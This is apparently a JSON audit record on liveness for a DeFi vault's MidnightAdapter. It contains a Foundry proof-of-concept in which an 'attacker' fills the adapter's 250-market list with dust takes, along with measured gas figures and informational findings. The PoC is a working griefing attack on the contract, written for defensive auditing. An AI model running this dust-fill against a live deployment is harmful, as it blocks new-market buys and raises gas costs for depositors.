{
 "lead": "liveness: can an untrusted account make the vault or the MidnightAdapter stop working (realAssets reverting, onBuy/onSell/shortfall arithmetic, gas with a 250-market list filled by dust takes, withdrawToVault/forceDeallocate blocked by a third party)",
 "commit": "bbeda7b27ae80abcf070e0158cb8a31e87bb2286",
 "hasCandidates": false,
 "candidates": [],
 "summary": "No reportable liveness finding survived. An untrusted taker can fill the 250-market list with 2-unit dust takes of ratified buy offers, which blocks buys in any new market (TooManyMarkets) until someone removes dust markets. The NatSpec documents this ('Fillable with dust takes.' at MidnightAdapter.sol:96), so it is out of scope as a finding. It is listed below as Informational with measured gas numbers. With the list full, every path measured (realAssets, vault.deposit, durationAllocations, a shortfall sale, forceDeallocate) stays far below the block gas limit. The team's own worst-case forceDeallocate gas test also passes. No permanent revert of realAssets that a third party can trigger was found.",
 "poc": {
  "path": "test/poc/LivenessPoC.t.sol",
  "source": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"../integration/MidnightAdapterIntegrationTest.sol\";\nimport {console2} from \"../../lib/forge-std/src/console2.sol\";\nimport {MarketData} from \"../../src/adapters/midnight/interfaces/IMidnightAdapter.sol\";\n\n/// @dev Liveness lead: an untrusted account fills the 250-market list with dust takes of ratified buy offers,\n/// then we measure what that costs everybody else (gas of realAssets / deposit / durationAllocations / shortfall sale,\n/// blocked buys in new markets, and the cost to clean up).\ncontract LivenessPoC is MidnightAdapterIntegrationTest {\n    address internal attacker = makeAddr(\"attacker\");\n    uint256 internal constant DUST_UNITS = 2;\n\n    /// @dev A ladder of maker buy offers ratified by the allocator, one per maturity (normal allocator activity).\n    function _ladderOffer(uint256 i) internal view returns (Offer memory offer) {\n        Market memory market = _market(8 days + i * 1 hours);\n        offer = Offer({\n            market: market,\n            buy: true,\n            maker: address(adapter),\n            start: block.timestamp,\n            expiry: market.maturity,\n            tick: TICK,\n            group: keccak256(abi.encode(\"ladder\", i)),\n            callback: address(adapter),\n            callbackData: abi.encode(address(0), \"\"),\n            receiverIfMakerIsSeller: address(0),\n            ratifier: address(adapter),\n            reduceOnly: false,\n            maxUnits: uint128(100 * oneToken),\n            maxAssets: 0,\n            continuousFeeCap: type(uint256).max\n        });\n    }\n\n    function _ratify(Offer memory offer) internal returns (bytes memory ratifierData) {\n        bytes32 root = HashLib.hashPriceRatifierV1Offer(offer, address(0));\n        vm.prank(allocator);\n        priceSubRatifier.setIsRootRatified(address(adapter), root, true, allocator);\n        ratifierData = abi.encode(address(priceSubRatifier), abi.encode(root, uint256(0), new bytes32[](0), address(0)));\n    }\n\n    /// @dev The attacker sells DUST_UNITS of credit (takes DUST_UNITS of debt) into `n` ladder offers starting at `from`.\n    function _dustFill(uint256 from, uint256 n) internal returns (uint256 attackerGas) {\n        Offer[] memory offers = new Offer[](n);\n        bytes[] memory datas = new bytes[](n);\n        for (uint256 i; i < n; i++) {\n            offers[i] = _ladderOffer(from + i);\n            datas[i] = _ratify(offers[i]);\n        }\n        deal(address(collateralToken), attacker, 1e30);\n        vm.startPrank(attacker);\n        collateralToken.approve(address(midnight), type(uint256).max);\n        for (uint256 i; i < n; i++) {\n            uint256 g = gasleft();\n            midnight.supplyCollateral(offers[i].market, 0, 1e6, attacker);\n            midnight.take(offers[i], datas[i], DUST_UNITS, attacker, attacker, address(0), \"\");\n            attackerGas += g - gasleft();\n        }\n        vm.stopPrank();\n    }\n\n    function _cool() internal {\n        vm.cool(address(adapter));\n        vm.cool(address(midnight));\n        vm.cool(address(vault));\n        vm.cool(address(underlyingToken));\n    }\n\n    function testDustFillBlocksNewMarketsAndCosts() public {\n        uint256 attackerBalBefore = underlyingToken.balanceOf(attacker);\n        uint256 attackerGas = _dustFill(0, adapter.MAX_MARKETS());\n        uint256 length = adapter.marketIdsLength();\n        console2.log(\"markets in list after dust takes\", length);\n        console2.log(\"attacker total gas for 250 dust takes\", attackerGas);\n        console2.log(\"attacker assets received (debt 2 units/market)\", underlyingToken.balanceOf(attacker) - attackerBalBefore);\n        MarketData memory md = adapter.marketData(adapter.marketIds(0));\n        uint256 nc = md.netCredit;\n        uint256 rate = md.netRate;\n        console2.log(\"dust market stored net credit\", nc);\n        console2.log(\"dust market netRate (WAD/s)\", rate);\n        assertEq(length, 250);\n\n        vm.warp(block.timestamp + 1);\n        _cool();\n        uint256 g = gasleft();\n        uint256 ra = adapter.realAssets();\n        console2.log(\"realAssets gas (cold) with 250 markets\", g - gasleft());\n        console2.log(\"realAssets value\", ra);\n\n        _cool();\n        g = gasleft();\n        adapter.durationAllocations(1);\n        console2.log(\"durationAllocations(1) gas (cold)\", g - gasleft());\n\n        address dep2 = makeAddr(\"dep2\");\n        deal(address(underlyingToken), dep2, oneToken);\n        vm.prank(dep2);\n        underlyingToken.approve(address(vault), oneToken);\n        _cool();\n        g = gasleft();\n        vm.prank(dep2);\n        vault.deposit(oneToken, dep2);\n        console2.log(\"vault.deposit gas (cold, first accrual of block)\", g - gasleft());\n\n        // A legitimate borrower taking a new ratified buy offer in a 251st market: reverts.\n        Offer memory offer = _ladderOffer(300);\n        bytes memory data = _ratify(offer);\n        deal(address(collateralToken), borrower, 1e30);\n        vm.startPrank(borrower);\n        collateralToken.approve(address(midnight), type(uint256).max);\n        midnight.supplyCollateral(offer.market, 0, 1e30, borrower);\n        vm.expectRevert(IMidnightAdapterBase.TooManyMarkets.selector);\n        midnight.take(offer, data, 50 * oneToken, borrower, borrower, address(0), \"\");\n        vm.stopPrank();\n        console2.log(\"251st-market buy of 50 tokens: reverted TooManyMarkets\");\n\n        // Cleanup by a vault shareholder through forceDeallocate (2 assets + fee), one dust market.\n        Market memory m0 = midnight.toMarket(adapter.marketIds(0));\n        deal(address(underlyingToken), depositor, 10);\n        vm.startPrank(depositor);\n        underlyingToken.approve(address(adapter), type(uint256).max);\n        midnight.setIsAuthorized(address(adapter), true, depositor);\n        _cool();\n        g = gasleft();\n        vault.forceDeallocate(address(adapter), abi.encode(m0, depositor), DUST_UNITS, depositor);\n        console2.log(\"forceDeallocate gas to remove one dust market\", g - gasleft());\n        vm.stopPrank();\n        console2.log(\"markets after one cleanup\", adapter.marketIdsLength());\n        // The attacker refills the freed slot.\n        g = _dustFill(250, 1);\n        console2.log(\"attacker gas to refill the slot\", g);\n        console2.log(\"markets after refill\", adapter.marketIdsLength());\n        assertEq(adapter.marketIdsLength(), 250);\n    }\n\n    /// @dev Allocator sale with a shortfall while 249 dust markets fill the list: gas of the shortfall loop.\n    function testShortfallSaleGasWithFullList() public {\n        testMakerBuy(); // ~100k tokens of credit in _market(7 days)\n        Market memory market = _market(7 days);\n        // Idle liquidity so the dust buys (1 asset each) can be funded from the vault.\n        deal(address(underlyingToken), depositor, 1000 * oneToken);\n        vm.startPrank(depositor);\n        underlyingToken.approve(address(vault), type(uint256).max);\n        vault.deposit(1000 * oneToken, depositor);\n        vm.stopPrank();\n        _dustFill(0, adapter.MAX_MARKETS() - 1);\n        assertEq(adapter.marketIdsLength(), 250);\n        vm.warp(block.timestamp + 1 hours);\n\n        uint256 units = 1000 * oneToken;\n        uint256 lowTick = TICK - 40;\n        Offer memory offer = Offer({\n            market: market,\n            buy: true,\n            maker: lender,\n            start: block.timestamp,\n            expiry: market.maturity,\n            tick: lowTick,\n            group: keccak256(\"ext\"),\n            callback: address(0),\n            callbackData: \"\",\n            receiverIfMakerIsSeller: address(0),\n            ratifier: address(setterRatifier),\n            reduceOnly: false,\n            maxUnits: uint128(units),\n            maxAssets: 0,\n            continuousFeeCap: type(uint256).max\n        });\n        deal(address(underlyingToken), lender, units);\n        bytes32 root = HashLib.hashOffer(offer);\n        vm.startPrank(lender);\n        SafeERC20Lib.safeApprove(address(underlyingToken), address(midnight), type(uint256).max);\n        midnight.setIsAuthorized(address(setterRatifier), true, lender);\n        setterRatifier.setIsRootRatified(lender, root, true);\n        vm.stopPrank();\n        uint256 allowanceBefore = adapter.shortfallAllowance();\n        console2.log(\"sale price (WAD)\", TickLib.tickToPrice(lowTick));\n        _cool();\n        uint256 g = gasleft();\n        vm.prank(allocator);\n        adapter.take(offer, abi.encode(root, uint256(0), new bytes32[](0)), units, \"\");\n        console2.log(\"shortfall sale gas (cold) with 250 markets\", g - gasleft());\n        console2.log(\"shortfall consumed\", allowanceBefore - adapter.shortfallAllowance());\n        assertGt(allowanceBefore - adapter.shortfallAllowance(), 0);\n    }\n\n    /// @dev Dust first buy with units = 1: buyerAssets rounds to 0 and onBuy divides by zero (self-inflicted revert only).\n    function testOneUnitFirstBuyReverts() public {\n        Offer memory offer = _ladderOffer(0);\n        bytes memory data = _ratify(offer);\n        deal(address(collateralToken), attacker, 1e6);\n        vm.startPrank(attacker);\n        collateralToken.approve(address(midnight), type(uint256).max);\n        midnight.supplyCollateral(offer.market, 0, 1e6, attacker);\n        vm.expectRevert();\n        midnight.take(offer, data, 1, attacker, attacker, address(0), \"\");\n        vm.stopPrank();\n        // The offer stays usable for a normal take.\n        vm.prank(attacker);\n        midnight.take(offer, data, DUST_UNITS, attacker, attacker, address(0), \"\");\n        assertEq(adapter.marketIdsLength(), 1);\n    }\n}\n",
  "command": "export XDG_DATA_HOME=$PWD/../xdg && forge build src lib/midnight/src/Midnight.sol lib/midnight/src/ratifiers/SetterRatifier.sol lib/morpho-blue/src/Morpho.sol && forge test --match-path test/poc/LivenessPoC.t.sol -vv",
  "output": "No files changed, compilation skipped\n\nRan 11 tests for test/poc/LivenessPoC.t.sol:LivenessPoC\n[PASS] testDustFillBlocksNewMarketsAndCosts() (gas: 465795195)\nLogs:\n  markets in list after dust takes 250\n  attacker total gas for 250 dust takes 438858060\n  attacker assets received (debt 2 units/market) 250\n  dust market stored net credit 2\n  dust market netRate (WAD/s) 1446759259259\n  realAssets gas (cold) with 250 markets 1946060\n  realAssets value 250\n  durationAllocations(1) gas (cold) 1257586\n  vault.deposit gas (cold, first accrual of block) 2049489\n  251st-market buy of 50 tokens: reverted TooManyMarkets\n  forceDeallocate gas to remove one dust market 2296041\n  markets after one cleanup 249\n  attacker gas to refill the slot 2854394\n  markets after refill 250\n\n[PASS] testForceDeallocate() (gas: 1751807)\n[PASS] testForceSell() (gas: 1653822)\n[PASS] testMakerBuy() (gas: 1130795)\n[PASS] testMakerSell() (gas: 1922401)\n[PASS] testOneUnitFirstBuyReverts() (gas: 1374702)\n[PASS] testRepayWithdrawRedeem() (gas: 1781839)\n[PASS] testShortfallSaleGasWithFullList() (gas: 457381677)\nLogs:\n  sale price (WAD) 992808900000000000\n  shortfall sale gas (cold) with 250 markets 2719633\n  shortfall consumed 1326708953861333770\n\n[PASS] testTakerBuy() (gas: 1167492)\n[PASS] testTakerSell() (gas: 1960096)\n[PASS] testWrapperGateForceDeallocateAfterRevocation() (gas: 17209487)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 1.02s (2.01s CPU time)\n\nRan 1 test suite in 1.03s (1.02s CPU time): 11 tests passed, 0 failed, 0 skipped (11 total tests)\n"
 },
 "lowInfo": [
  {
   "title": "An untrusted taker can fill the 250-market list with 2-unit dust takes, blocking new-market buys; clearing a slot costs more gas than refilling it, and the full list adds about 2M gas to every vault interaction",
   "class": "Informational",
   "verified": true,
   "refs": [
    "src/adapters/midnight/MidnightAdapter.sol:96-97",
    "src/adapters/midnight/MidnightAdapter.sol:548-553",
    "src/adapters/midnight/MidnightAdapter.sol:837-863",
    "src/adapters/midnight/MidnightAdapter.sol:817-834",
    "src/VaultV2.sol:24",
    "src/VaultV2.sol:626-632"
   ],
   "detail": "Precondition: the allocators have ratified maker buy offers in at least 250 distinct markets, e.g. a maturity ladder in one Merkle root. This is normal allocator activity. The attacker supplies dust collateral and takes 2 units of each offer. buyerAssets becomes 1, so the stored net credit is 2 and the netRate is 1446759259259 WAD/s for an 8-day TTM. A 1-unit take reverts. Each take inserts a new market into marketIds. The test (testDustFillBlocksNewMarketsAndCosts) measured: 250 markets in the list. The attacker received 250 assets against 500 units of debt and used 438858060 gas in total, measured in-test, so some slots were warm. Afterwards a legitimate borrower's 50-token take of a ratified buy offer in a 251st market reverts with TooManyMarkets. Measured cold gas with 250 markets: realAssets 1946060, durationAllocations(1) 1257586, and vault.deposit 2049489 on the first accrual of the transaction, paid by every depositor or withdrawer. Removing one dust market through forceDeallocate costs 2296041 gas. That path also needs a shareholder, 2 assets plus the settlement fee, and the forceDeallocate penalty. The attacker refilled the freed slot with another ratified offer for 2854394 gas. All of these stay far below the block gas limit, so this is not a hard DoS. Buys in markets already in the list keep working. The MAX_MARKETS NatSpec documents it ('Fillable with dust takes.'), so it is not reported as a finding. Possible hardening: an owner-settable minimum net credit for a new market entry in onBuy, or a sub-ratifier option that enforces a minimum fill per take."
  },
  {
   "title": "A 1-unit first buy reverts with division by zero in onBuy (self-inflicted only)",
   "class": "Informational",
   "verified": true,
   "refs": [
    "src/adapters/midnight/MidnightAdapter.sol:544-547"
   ],
   "detail": "With units = 1 and price 0.994, buyerAssets rounds down to 0. The pre-buy amortized value of a first buy is also 0, so the denominator amortizedValue * ttm is 0 and the take reverts (testOneUnitFirstBuyReverts). Only the taker's own transaction is affected, and the same offer is taken with 2 units right after. This is documented in the inline comment at line 546 ('Can revert if pre-buy amortized credit and buyerAssets are both 0') and discussed in the Cantina draft, section 3.4."
  },
  {
   "title": "realAssets reverts (OtherSellInProgress) while the adapter is the seller in a market with lossFactor > 0, i.e. inside the buyer callback of a take of the adapter's sell offer",
   "class": "Informational",
   "verified": false,
   "refs": [
    "src/adapters/midnight/MidnightAdapter.sol:848-853",
    "lib/midnight/src/Midnight.sol:437-446"
   ],
   "detail": "UNVERIFIED (code reading only, no test). Midnight sets the liquidation lock for the seller before calling onBuy. If a taker of one of the adapter's maker sell offers, in a market with lossFactor != 0, interacts with the parent vault from its onBuy callback (deposit, withdraw, accrueInterest) before the vault has accrued in that transaction, realAssets reverts and so does the whole take. This only affects the taker's own composed transaction. It is not a third-party DoS of the vault. It is close to TrustSec R-11 (nested vaults). Internal paths are not affected: onSell -> vault.deallocate does not accrue (VaultV2.sol:567-586), and vault.forceDeallocate accrues only in withdraw, after the take has released the lock (VaultV2.sol:790-797)."
  }
 ],
 "covered": {
  "testsRun": [
   "Pre-existing suite: forge test --match-path 'test/*Midnight*' gave 389 passed, 2 failed. The 2 failures were the setUp of MidnightAdapterGasTest and of MidnightAdapterIntegrationTest, with 'vm.getCode: no matching artifact found', because only src and Midnight.sol had been built.",
   "After building SetterRatifier.sol and Morpho.sol: test/MidnightAdapterGasTest.sol testForceDeallocateGasWorstCase PASS (250 markets, all with bad debt, within 10M gas).",
   "test/poc/LivenessPoC.t.sol: 11 passed, 0 failed. This includes the 8 inherited integration tests and 3 new tests: testDustFillBlocksNewMarketsAndCosts, testShortfallSaleGasWithFullList (shortfall sale with 250 markets: 2719633 gas, shortfall consumed 1326708953861333770), and testOneUnitFirstBuyReverts."
  ],
  "dismissedByAnalysis": [
   "realAssets overflow/division by zero: the denominator WAD + netRate*ttm is >= WAD; the numerator uint128*WAD and the sum over at most 250 markets fit in uint256; zeroFloorSub returns uint256, so netRate*ttm is not computed in uint64.",
   "currentNetCredit uses a dummy market with maturity 0, so the fee term is 0 and the result is postSlashCredit - postSlashPendingFee (Midnight.sol:794-815).",
   "Shortfall loop: targetAmortizedValue >= amortizedValue + 1 when shortfall > 0 and the market has unearned interest, so the division cannot hit zero. Markets with ttm 0 have netCredit == amortizedValue and are skipped. The new rate is <= the old rate, so toUint64 cannot overflow. require(shortfall <= totalInterest) depends only on the adapter's own positions. Dust markets add about 1 wei of interest each.",
   "onBuy toUint64: the attacker does not control the price (the offer tick is ratified). The largest dust rate, units 2 and buyerAssets 1, is WAD/ttm, which fits in uint64 for ttm >= 1 s.",
   "withdrawToVault can only be reached through allocator/sentinel deallocate or the adapter itself. A third party can only compete for Midnight's withdrawable liquidity, which is inherent to the market.",
   "forceDeallocate: the liquidation-lock checks only fail during nested takes. The vault accrues after the take, and lossFactor==max markets revert in Midnight, not in the adapter. The front-running of dedicated exit offers is TRST-L-1 (out of scope)."
  ]
 },
 "notCovered": [
  "No test was written that creates bad debt (lossFactor > 0) across the dust markets. The team's MidnightAdapterGasTest already covers 250 markets with bad debt for forceDeallocate, but realAssets and deposit gas in that state were not measured here.",
  "The liquidation-lock composability note (lowInfo 3) has no test.",
  "Interactions with several MidnightAdapters in one vault (gas multiplies per adapter) were not measured.",
  "No second, independent re-run from a clean clone was done in this item."
 ]
}